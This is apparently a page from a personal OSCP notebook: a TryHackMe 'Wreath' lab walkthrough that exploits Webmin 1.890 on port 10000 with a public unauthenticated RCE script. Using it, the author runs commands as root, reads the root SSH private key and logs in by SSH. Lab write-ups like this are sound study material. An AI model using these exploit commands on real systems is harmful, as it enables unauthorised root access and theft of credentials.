> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/try-hack-me/wreath/ms01/10000.md).

# 10000

![](/files/1tPxDve6cyw6DA5iSPrK) Adding to /etc/hosts: ![](/files/jfCssWyI8F4cnrDtHW0t)

Now visiting <https://thomaswreath.thm:10000>: ![](/files/UBzABW9neCb9BV2vmf9F) We have a login page

Searching webmin on searchsploit:

```
searchsploit Webmin
```

According to nmap scan we have 1.890 Webmin.

Using this [exploit](https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/blob/master/webmin-1.890_exploit.py)

```
python3 webmin-1.890_exploit.py thomaswreath.thm 10000 whoami
```

![](/files/VZZcPY7iE59F2IsIthpC) We are root user and we have command execution.

Now trying to get ssh keys:

```
python3 webmin-1.890_exploit.py thomaswreath.thm 10000 'cat /root/.ssh/id_rsa'
```

![](/files/bLoNjRvi4KWS3ipw5GPR) We have ssh keys.

Copy to a file id\_rsa and change permissions so that the permissions are not too open:

```
chmod 600 id_rsa
```

Now connect using ssh:

```
ssh root@thomaswreath.thm -i id_rsa
```

![](/files/3ZMaDrEJlclKmRQUHHs5)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://aditya-3.gitbook.io/oscp/readme/walkthroughs/try-hack-me/wreath/ms01/10000.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
